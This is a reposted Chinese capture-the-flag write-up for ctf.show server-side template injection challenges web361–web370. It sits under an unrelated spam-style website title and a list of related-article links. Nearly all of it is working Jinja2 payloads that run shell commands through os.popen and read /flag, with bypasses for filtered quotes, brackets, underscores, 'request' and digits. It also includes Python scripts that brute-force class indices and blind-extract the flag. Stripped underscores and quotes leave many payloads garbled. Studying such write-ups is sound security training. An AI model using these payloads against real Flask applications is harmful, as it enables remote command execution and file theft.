高端美食网站建设网站建设布局
- 作者: 五速梦信息网
- 时间: 2026年03月21日 11:14
当前位置: 首页 > news >正文
高端美食网站建设,网站建设布局,南宁市平台公司,长沙广告设计公司排名web361
名字就是考点#xff0c;所以注入点就是name
先测试一下存不存在ssti漏洞 利用os模块#xff0c;脚本
查看一下子类的集合
?name{{.class.base.subclasses()}} 看看有没有os模块#xff0c;查找os 利用这个类#xff0c;用脚本跑他的位置
import …web361
名字就是考点所以注入点就是name
先测试一下存不存在ssti漏洞 利用os模块脚本
查看一下子类的集合
?name{{.class.base.subclasses()}} 看看有没有os模块查找os 利用这个类用脚本跑他的位置
import timeimport requestsurl http://c73d3bdd-59d0-449a-bfcd-b683b92b768e.challenge.ctf.show/
for i in range(500):data ?name{{{{().class.base.subclasses()[{}]}}}}.format(i)url1urldataresponse requests.get(urlurl1)if os._wrap_close in response.text:print(i)if response.status_code 429 :time.sleep(0.5)但是这样跑的比较慢修改为多线程会很快
import threading
import requests
import timeurl http://c73d3bdd-59d0-449a-bfcd-b683b92b768e.challenge.ctf.show/def check_url(i):data ?name{{{{().class.base.subclasses()[{}]}}}}.format(i)url1urldataresponse requests.get(urlurl1)if os._wrap_close in response.text:print(i)if response.status_code 429 :time.sleep(0.5)threads []
for i in range(500):t threading.Thread(targetcheckurl, args(i,))threads.append(t)t.start()for t in threads:t.join()?name{{.class.base.subclasses()[132].init.globalspopen.read()}} config查看配置
?name{{config.class.init.globals[os].popen(ls).read() }} name{{config.class.init.globals[os].popen(ls ../).read() }} 直接查看flag lipsum 和 cycler 执行命令
?name{{lipsum.globals[os].popen(tac ../flag).read()}}
?name{{cycler.init.globals.os.popen(ls).read()}} web362
发现跟361一模一样
?name{{lipsum.globals[os].popen(ls ../).read()}} ?name{{lipsum.globals[os].popen(cat /flag).read()}} 或者利用os模块跟上面一样就不试了 web363 过滤引号
request.args传参绕过
request.args是flask中一个存储着请求参数以及其值的字典
假设传入{{ config.class.init.globals[os] }},因为引号被过滤所以无法执行可以把os换成request.args.a(这里的a可以理解为自定义的变量名字可以任意设置)
随后在后面传入a的值变成{{ config.class.init.globals[request.args.a] }}aos与原命令等效
原payload
?name{{lipsum.globals[os].popen(ls ../).read()}} 传入a和b的值执行命令
?name{{lipsum.globals[request.args.a].popen(request.args.b).read()}}aosbls
执行成功 直接查看flag web364 过滤args
用刚才的payload被过滤了 request.values
搜索发现除了request.args还有request.values
values 可以获取所有参数从而绕过 args
?name{{lipsum.globals[request.values.a].popen(request.values.b).read()}}aosbcat ../flag chr()绕过
通过python自带函数来绕过引号这里使用的是chr()
判断chr()函数的位置
{{().class.bases[0].subclasses()[§0§].init.globals.builtins.chr}}
使用bp爆破查看状态为200 这个爆破结果意味着subclasses()[80]中含有chr的类索引即可以使用chr()
接下来把这一串{%setchr[].class.bases[0].subclasses()[80].init.globals.builtins.chr%}放到前面
原始payload是{{ config.class.init.globals[os].popen(cat /flag).read() }}接下来要用chr()进行替换对照ascii表
os chr(111)%2bchr(115)
cat ../flag
chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(46)%2bchr(46)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)
再把替换后的payload放在后面两段拼在一起得到最终姿势
?name{%setchr[].class.bases[0].subclasses()[80].init.globals.builtins.chr%}{{ config.class.init.globals[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(46)%2bchr(46)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read() }}web365 过滤[] getitem和pop
因为pop会破坏数组的结构所以更推荐用getitem
上面的两个payload都可以修改 ?name{%setchr[].class.bases[0].subclasses()[80].init.globals.builtins.chr%}{{ config.class.init.globals[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(46)%2bchr(46)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read() }}第一处的[]直接换成()即可
第二处的[0]换成.getitem(0)或者直接删去
第三处的[80]换成.getitem(80)
第四处的[chr(111)%2bchr(115)]换成.getitem(chr(111)%2bchr(115))http://93a505c0-ef5f-41f4-8e90-3212e948736a.challenge.ctf.show/?name{%setchr().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(80).__init__.__globals__.__builtins__.chr%}{{ config.class.init.globals.getitem(chr(111)%2bchr(115)).popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(46)%2bchr(46)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read() }}?name{{lipsum.globals.getitem(request.values.a).popen(request.values.b).read()}}aosbcat ../flag web366 过滤下划线
attr获取变量
?name{{lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.o)|attr(request.values.f)()}}ocat /flagaglobalsbgetitemcosdpopenfread web367
用366的payload也可以
?name{{lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.o)|attr(request.values.f)()}}ocat /flagaglobalsbgetitemcosdpopenfread web368 过滤{{
{%%}绕过
借助print()回显
?name{% print(lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.o)|attr(request.values.f)())%}ocat /flagaglobalsbgetitemcosdpopenfread {%%}盲注
import requestsurlhttp://9d15c31f-9e48-4295-a4ad-4f2949d66ad0.challenge.ctf.show/
flag
for i in range(1,100):for j in abcdefghijklmnopqrstuvwxyz0123456789-{}:params{name:{{% set a(lipsum|attr(request.values.a)).get(request.values.b).open(request.values.c).read({}) %}}{{% if arequest.values.d %}}feng{{% endif %}}.format(i), //open函数读取/flag文件的内容a:globals,b:builtins,c:/flag,d:f{flagj} //将flag与request.values.d进行比较如果相等则将字符串feng赋值给变量a。}rrequests.get(urlurl,paramsparams)if feng in r.text:flagjprint(flag)if j}:exit()break web369 过滤request
不同的变量赋值然后拼接成我们想要的命令
?name
{% set podict(poa,pa)|join%}
{% set a(()|select|string|list)|attr(po)(24)%}
{% set ini(a,a,dict(inita)|join,a,a)|join()%}
{% set glo(a,a,dict(globalsa)|join,a,a)|join()%}
{% set geti(a,a,dict(getitema)|join,a,a)|join()%}
{% set built(a,a,dict(builtinsa)|join,a,a)|join()%}
{% set x(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chrx.chr%}
{% set filechr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}这相当于
lipsum.globals[builtins].open(/flag).read()
set 创造变量
构造popop #利用dict()|join拼接得到 {% set podict(poa,pa)|join%} 等效于a(()|select|string|list).pop(24),即a等价于下划线_ {% set a(()|select|string|list)|attr(po)(24)%}
select 过滤器用于选择对象的属性或方法。
string 过滤器将对象转换为字符串。
list 过滤器将对象转换为列表。 构造ini_init {% set ini(a,a,dict(inita)|join,a,a)|join()%}
构造gloglobals {% set glo(a,a,dict(globalsa)|join,a,a)|join()%}
构造getigetitem {% set geti(a,a,dict(getitema)|join,a,a)|join()%}
构造builtbuiltins {% set built(a,a,dict(builtinsa)|join,a,a)|join()%}
调用chr()函数 {% set x(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chrx.chr%}
构造file/flag {% set filechr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%} web370 过滤数字
?name
{% set c(dict(ea)|join|count)%}
{% set cc(dict(eea)|join|count)%}
{% set ccc(dict(eeea)|join|count)%}
{% set cccc(dict(eeeea)|join|count)%}
{% set ccccccc(dict(eeeeeeea)|join|count)%}
{% set cccccccc(dict(eeeeeeeea)|join|count)%}
{% set ccccccccc(dict(eeeeeeeeea)|join|count)%}
{% set cccccccccc(dict(eeeeeeeeeea)|join|count)%}
{% set coun(cc~cccc)|int%}
{% set podict(poa,pa)|join%}
{% set a(()|select|string|list)|attr(po)(coun)%}
{% set ini(a,a,dict(inita)|join,a,a)|join()%}
{% set glo(a,a,dict(globalsa)|join,a,a)|join()%}
{% set geti(a,a,dict(getitema)|join,a,a)|join()%}
{% set built(a,a,dict(builtinsa)|join,a,a)|join()%}
{% set x(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chrx.chr%}
{% set filechr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
{%print(x.open(file).read())%}主要就是后面ascii码被过滤需要用c来代替
几个c就代表几比如c1,ccc3 用~拼接 构造coun24 {% set coun(cc~cccc)|int%}
同web169 {% set podict(poa,pa)|join%} {% set a(()|select|string|list)|attr(po)(coun)%} {% set ini(a,a,dict(inita)|join,a,a)|join()%} {% set glo(a,a,dict(globalsa)|join,a,a)|join()%} {% set geti(a,a,dict(getitema)|join,a,a)|join()%} {% set built(a,a,dict(builtinsa)|join,a,a)|join()%} 调用chr()函数 {% set x(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chrx.chr%} 构造file/flag {% set filechr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
- 上一篇: 高端建站什么意思什么是多页面网站
- 下一篇: 高端品牌网站定制设计免展网站后台注册
相关文章
-
高端建站什么意思什么是多页面网站
高端建站什么意思什么是多页面网站
- 技术栈
- 2026年03月21日
-
高端建站的公司谷歌云 阿里云 做网站
高端建站的公司谷歌云 阿里云 做网站
- 技术栈
- 2026年03月21日
-
高端定制网站速度北京软件外包公司排名
高端定制网站速度北京软件外包公司排名
- 技术栈
- 2026年03月21日
-
高端品牌网站定制设计免展网站后台注册
高端品牌网站定制设计免展网站后台注册
- 技术栈
- 2026年03月21日
-
高端品牌网站建设定位网站建设毕业设计引言怎么写
高端品牌网站建设定位网站建设毕业设计引言怎么写
- 技术栈
- 2026年03月21日
-
高端品牌网站设计公司给wordpress添加字段
高端品牌网站设计公司给wordpress添加字段
- 技术栈
- 2026年03月21日






